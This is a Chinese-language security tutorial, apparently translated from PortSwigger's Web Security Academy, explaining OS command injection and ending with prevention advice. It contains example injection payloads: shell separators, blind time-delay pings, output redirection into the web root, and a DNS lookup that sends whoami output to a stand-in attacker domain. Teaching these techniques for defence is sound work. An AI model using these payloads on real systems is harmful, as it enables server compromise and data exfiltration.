# OS命令注入

在本节中，我们将讲解什么是OS命令注入，描述如何检测和利用漏洞，列出一些针对不同操作系统有用的命令和技巧，以及总结如何防止OS命令注入。

![](https://2165487371-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfahSMMYUzmqmE8SfCaax%2Fuploads%2Fgit-blob-1de5d7b2a2f3a1dcbeb11db83f94884161efce8b%2Fos-command-injection.svg?alt=media)

> **Labs**
>
> 如果你已经熟悉OS命令注入漏洞背后的基本概念，并只想在一些现实的，故意易受攻击的目标上练习利用它们，你可以从下面的链接访问本主题中的所有实验。
>
> [查看所有OS命令注入实验](https://portswigger.net/web-security/all-labs#os-command-injection)

## 什么是OS命令注入？

OS命令注入（也称为shell注入）是一种Web安全漏洞，允许攻击者在运行应用程序的服务器上执行任意操作系统（OS）命令，通常会完全破坏应用程序及其所有数据。很多时候，攻击者可以利用OS命令注入漏洞来危害托管基础设施的其他部分，利用信任关系将攻击转向组织内的其他系统。

[![](https://2165487371-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfahSMMYUzmqmE8SfCaax%2Fuploads%2Fgit-blob-87e4ab2c368392728110d712c15543cbfa9ae1a8%2Fyoutube.png?alt=media)](https://youtu.be/8PDDjCW5XWw)

## 执行任意命令

考虑一个购物应用，它允许用户查看特定商店中的商品是否有库存。这些信息可以通过如下URL访问：

```
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

为了提供库存信息，应用程序必须查询各种遗留系统。出于历史原因，该功能是通过调用一个带有产品和商店ID作为参数的shell命令来实现的：

```bash
stockreport.pl 381 29
```

该命令输出指定物品的库存状态，然后返回给用户。

由于该应用程序没有针对OS命令注入实现防御，攻击者可以提交以下输入来执行任意命令：

```bash
& echo aiwefwlguh &
```

如果这个输入在`productID`参数中提交，那么应用程序执行的命令是：

```bash
stockreport.pl & echo aiwefwlguh & 29
```

`echo`命令只是使提供的字符串在输出中回显，它是测试某些类型的OS命令注入的有用方法。`&`字符是一个shell命令分隔符，因此实际执行的是相继的三个连续的独立命令。因此，返回给用户的输出是：

```
Error - productID was not provided
aiwefwlguh
29: command not found
```

输出的三行表明：

* 原始的`stockreport.pl`命令在没有预期参数的情况下被执行，因此返回了一个错误消息。
* 注入的`echo`命令被执行，并且提供的字符串在输出中被回显。
* 原始参数`29`被作为命令执行，这导致了一个错误。

在注入的命令后面添加额外的命令分隔符`&`通常很有用的，因为它将注入的命令与注入点后面的内容分开。这减少了后续的内容会阻止注入命令执行的可能性。

> **LAB**
>
> [OS命令注入，简单情况](https://portswigger.net/web-security/os-command-injection/lab-simple)

## 有用的命令

当你已经识别出一个OS命令注入漏洞时，通常有用的是执行一些初始命令以获取你已危害的系统的信息。下面是在Linux和Windows平台上一些有用的命令的摘要：

| 命令的目的   | Linux         | Windows         |
| ------- | ------------- | --------------- |
| 当前用户名   | `whoami`      | `whoami`        |
| 操作系统    | `uname -a`    | `ver`           |
| 网络配置    | `ifconfig`    | `ipconfig /all` |
| 网络连接    | `netstat -an` | `netstat -an`   |
| 正在运行的进程 | `ps -ef`      | `tasklist`      |

## OS命令盲注漏洞

OS命令注入的很多实例都是盲注漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用，但需要不同的技术。

考虑一个允许用户对网站提供反馈的网站。用户输入他们的电子邮件地址和反馈信息。服务器端应用程序然后生成一封包含反馈的电子邮件发送给网站管理员。为了做到这一点，它把提交的详细信息调用给`mail`程序。例如：

```bash
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

`mail`命令的输出（如果有的话）不在应用程序的响应中返回，因此使用`echo`有效载荷不会有效。在这种情况下，你可以使用各种其他技术来检测和利用漏洞。

### 使用时间延迟检测OS命令盲注

你可以使用一个将触发时间延迟的注入命令，根据应用程序响应所需的时间来确认该命令已被执行。`ping`命令是执行此操作的一种有效方式，因为它允许你指定要发送的ICMP包的数量，从而指定命令运行所需的时间：

```bash
& ping -c 10 127.0.0.1 &
```

这个命令将导致应用程序对其环回网络适配器进行10秒左右\[1]的ping。

> **LAB**
>
> [带时间延迟的OS命令盲注](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)

### 通过重定向输出来利用OS命令盲注

你可以将注入命令的输出重定向到Web根目录下的一个文件，然后使用浏览器检索该文件。例如，如果应用程序从文件系统位置`/var/www/static`提供静态资源，那么你可以提交以下输入：

```bash
& whoami > /var/www/static/whoami.txt &
```

`>`字符将`whoami`命令的输出发送到指定的文件。然后，你可以使用浏览器获取`https://vulnerable-website.com/whoami.txt`来检索该文件，并查看注入命令的输出。

> **LAB**
>
> [带输出重定向的OS命令盲注](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)

### 使用带外（OAST）技术来利用OS命令盲注

你可以使用一个注入命令，该命令将使用OAST技术触发一个与你控制的系统的带外网络交互。使用OAST技术。例如：

```bash
& nslookup kgji2ohoyw.web-attacker.com &
```

此有效载荷使用`nslookup`命令引发对指定域的DNS查找。攻击者可以监视指定查找是否发生，从而检测到命令已成功注入。

> **LAB**
>
> [带外交互的OS命令盲注](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)

带外通道也提供了一个简单的方式来外泄注入命令的输出：

```bash
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

这将导致对攻击者的域进行DNS查询，其中包含`whoami`命令的结果：

```bash
wwwuser.kgji2ohoyw.web-attacker.com
```

> **LAB**
>
> [带外数据外泄的OS命令盲注](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)

## 注入OS命令的方式

可以使用各种shell元字符来进行OS命令注入攻击。

许多字符作为命令分隔符，允许命令被链接在一起。以下命令分隔符在Windows和基于Unix的系统上都有效：

* `&`
* `&&`
* `|`
* `||`

以下命令分隔符只在基于Unix的系统上有效：

* `;`
* 换行符（ `0x0a`  ）

在基于Unix的系统上，你还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行：

* ```bash
  `
  注入命令`
  ```
* ```bash
  $(
  注入命令)
  ```

注意，不同的shell元字符具有微妙的不同行为，这些行为可能会影响它们在某些情况下是否有效，以及它们是否允许带内检索命令输出，或者只对盲注利用有用。

有时，你控制的输入出现在原始命令的引号内。在这种情况下，你需要在使用适当的shell元字符注入一个新的命令之前终止引号上下文（使用`"`或`'`）。

## 如何防范OS命令注入攻击

迄今为止，防范OS命令注入漏洞最有效的方法是，永远不要从应用层代码调用OS命令。几乎在所有的情况下，都有其他更安全的平台API可以用来实现所需的功能。

如果认为无法避免使用用户提供的输入来调用OS命令，那么就必须进行严格的输入验证。一些有效的验证例子包括：

* 根据允许值的白名单进行验证。
* 验证输入是否为数字。
* 验证输入是否只包含字母数字字符，没有其他语法或空格。

永远不要尝试通过转义shell元字符来对输入进行清理。在实践中，这种方法太容易出错，并且容易被熟练的攻击者绕过。

> **阅读更多**
>
> [使用Burp Suite的Web漏洞扫描器发现OS命令注入漏洞](https://portswigger.net/burp/vulnerability-scanner)
>
> [阅读PortSwigger Research在44Con和BSides Manchester会议上狩猎异步漏洞演讲的文章](https://portswigger.net/research/hunting-asynchronous-vulnerabilities)

> **译者注：**
>
> \[1] 在类Unix系统中，ping命令-c参数指定的是发送ICMP包的数量，连续两次发送ICMP包之间的默认时间间隔为1秒，所以-c指定为10的时候，所花费的时间就为9秒，算上其他时间，差不多就是10秒左右。
